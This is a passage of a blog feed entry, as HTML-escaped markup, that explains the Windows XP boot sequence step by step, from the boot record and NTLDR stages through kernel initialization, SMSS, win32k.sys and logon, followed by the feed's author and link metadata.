System&lt;/span&gt;&lt;/p&gt;&lt;/th&gt; &lt;th&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/th&gt; &lt;th&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/th&gt; &lt;th&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/th&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Boot Record&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The active partition's boot record is checked for a valid &lt;span class="blue"&gt;boot signature&lt;/span&gt; and if found the boot sector code is executed as a program.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="right"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The loading of Windows XP is controlled by the file NTLDR which is a hidden, system file that resides in the root directory of the system partition. NTLDR will load XP in four stages:&lt;br /&gt;&lt;br /&gt;1) Initial Boot Loader Phase&lt;br /&gt;2) Operating System selection&lt;br /&gt;3) Hardware Detection&lt;br /&gt;4) Configuration Selection&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTLDR&lt;br /&gt;Initial Phase&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;During the initial phase &lt;span class="blue"&gt;NTLDR&lt;/span&gt; switches the processor from real-mode to protected mode which places the processor in 32-bit memory mode and turns memory paging on. It then loads the appropriate &lt;span class="blue"&gt;mini-file system drivers&lt;/span&gt; to allow NTLDR to load files from a partition formatted with any of the files systems supported by XP.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Windows XP supports partitions formatted with either the FAT-16, FAT-32, or NTFS file system.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTLDR&lt;br /&gt;OS Selection&lt;br /&gt;BOOT.INI&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;If the file &lt;span class="blue"&gt;BOOT.INI &lt;/span&gt;is located in the root directory NTLDR will read it's contents into memory. If BOOT.INI contains entries for more than one operating system NTLDR will stop the boot sequence at this point, display a menu of choices, and wait for a specified period of time for the user to make a selection.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;If the file &lt;span class="blue"&gt;BOOT.INI&lt;/span&gt; is not found in the root directory NTLDR will continue the boot sequence and attempt to load XP from the first partition of the first disk, typically C:\.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;F8&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Assuming that the operating system being loaded is Windows NT, 2000, or XP pressing F8 at this stage of the boot sequence to display various boot options including "Safe Mode" and "Last Known Good Configuration"&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;After each successful boot sequence XP makes a copy of the current combination of driver and system settings and stores it as the Last Known Good Configuration. This collection of settings can be used to boot the system subsequently if the installation of some new device has caused a boot failure.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTLDR&lt;br /&gt;Hardware Detection&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;If the selected operating system is XP, NTLDR will continue the boot process by locating and loading the DOS based &lt;span class="blue"&gt;NTDETECT.COM&lt;/span&gt; program to perform hardware detection.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTDETECT.COM collects a list of currently installed hardware components and returns this list for later inclusion in the registry under the HKEY_LOCAL_MACHINE\&lt;br /&gt;HARDWARE key.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTLDR&lt;br /&gt;Configuration Selection&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;If this computer has more than one defined Hardware Profile the NTLDR program will stop at this point and display the Hardware Profiles/Configuration Recovery menu.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Lacking more than one Hardware Profile NTLDR will skip this step and not display this menu.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Kernel Load&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;After selecting a hardware configuration (if necessary) NTLDR begins loading the XP kernel (&lt;span class="blue"&gt;NTOSKRNL.EXE&lt;/span&gt;).&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;During the loading of the kernel (but before it is initialized) NTLDR remains in control of the computer. The screen is cleared and a series of white rectangles progress across the bottom of the screen. NTLDR also loads the Hardware Abstraction Layer (HAL.DLL) at this time which will insulate the kernel from hardware. Both files are located in the \system32 directory.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTLDR&lt;br /&gt;Boot&lt;br /&gt;Device Drivers&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTLDR now loads device drivers that are marked as &lt;span class="blue"&gt;boot devices&lt;/span&gt;. With the loading of these drivers NTLDR  relinquishes control of the computer. &lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Every driver has a registry subkey entry under HKEY_LOCAL_MACHINE&lt;br /&gt;\SYSTEM\Services. Any driver that has a Start value of&lt;br /&gt;SERVICE_BOOT_START is considered a device to start at boot up. A period is printed to the screen for each loaded file (unless the /SOS switch is used in which case file names are printed.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Kernel Initialization&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;NTOSKRNL goes through two phases in its boot process - &lt;span class="blue"&gt;phase 0&lt;/span&gt; and &lt;span class="blue"&gt;phase 1&lt;/span&gt;. Phase 0 initializes just enough of the microkernel and Executive subsystems so that basic services required for the completion of initialization become available.. At this point, the system display a graphical screen with a status bar indicating load status.&lt;/span&gt;&lt;/p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;XP disables interrupts during phase 0 and enables them before phase 1. The HAL is called to prepare the interrupt controller; the Memory Manager, Object Manager, Security Reference Monitor, and Process Manager are initialized.&lt;br /&gt;&lt;br /&gt;Phase 1 begins when the HAL is called to prepare the system to accept interrupts from devices. If more than one processor is present the additional processors are initialized at this point. All Executive subsystems are reinitialized in the following order:&lt;br /&gt;&lt;br /&gt;1) Object Manager&lt;br /&gt;2) Executive&lt;br /&gt;3) Microkernel&lt;br /&gt;4) Security Reference Monitor&lt;br /&gt;5) Memory Manager&lt;br /&gt;6) Cache Manager&lt;br /&gt;7) LPCS&lt;br /&gt;8) I/O Manager&lt;br /&gt;9) Process Manager&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;I/O Manager&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The initialization of I/O Manager begins the process of loading all the systems driver files. Picking up where NTLDR left off, it first finishes the loading of boot devices. Next it assembles a prioritized list of drivers and attempts to load each in turn.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Verdana;"&gt;The failure of a driver to load may prompt NT to reboot and try to start the system using the values stored in the &lt;span class="blue"&gt;Last Known Good Configuration.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;SMSS&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The last task for phase 1 initialization of the kernel is to launch the &lt;span class="blue"&gt;Session Manager Subsystem&lt;/span&gt; (SMSS). SMSS is responsible for creating the user-mode environment that provides the visible interface to NT.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;SMSS runs in &lt;span class="blue"&gt;user-mode&lt;/span&gt; but unlike other user-mode applications SMSS is considered a &lt;span class="blue"&gt;trusted part&lt;/span&gt; of the operating system and is also a &lt;span class="blue"&gt;native application&lt;/span&gt; (it uses only core Executive functions). These two features allow SMSS to start the graphics subsystem and login processes.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;win32k.sys&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;SMSS loads the win32k.sys device driver which implements the &lt;span class="blue"&gt;Win32 graphics subsystem&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Verdana;"&gt;Shortly after win32k.sys starts it switches the screen into &lt;span class="blue"&gt;graphics mode&lt;/span&gt;. The Services Subsystem now starts all services mark as &lt;span class="blue"&gt;Auto Start&lt;/span&gt;. Once all devices and services are started the boot is deemed successful and this configuration is saved as the &lt;span class="blue"&gt;Last Known Good Configuration.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Logon&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The XP boot process is not considered complete until a user has successfully logged onto the system. The process is begun by the &lt;span class="blue"&gt;WINLOGON.EXE&lt;/span&gt; file which is loaded as a service by the kernel and continued by the Local Security Authority (&lt;span class="blue"&gt;LSASS.EXE&lt;/span&gt;) which displays the logon dialog box.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;This dialog box appears at approximately the time that the Services Subsystem starts the network service.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Source:&lt;br /&gt;&lt;br /&gt;http://dotnetjunkies.com&lt;br /&gt;&lt;br /&gt;http://www.geocities.com/asoke_dasgupta&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-1260363504667055118?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/XQgXGyxmGd8" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/LwbSFDso2gE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/1260363504667055118/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/pc-boot-process-windows-xp.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/1260363504667055118?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/1260363504667055118?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/LwbSFDso2gE/pc-boot-process-windows-xp.html" title="The PC Boot Process - Windows XP" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScJLop1LgtI/AAAAAAAAAsw/aFO4GU6BbIQ/s72-c/power.jpg" height="72" width="72" /><thr:total 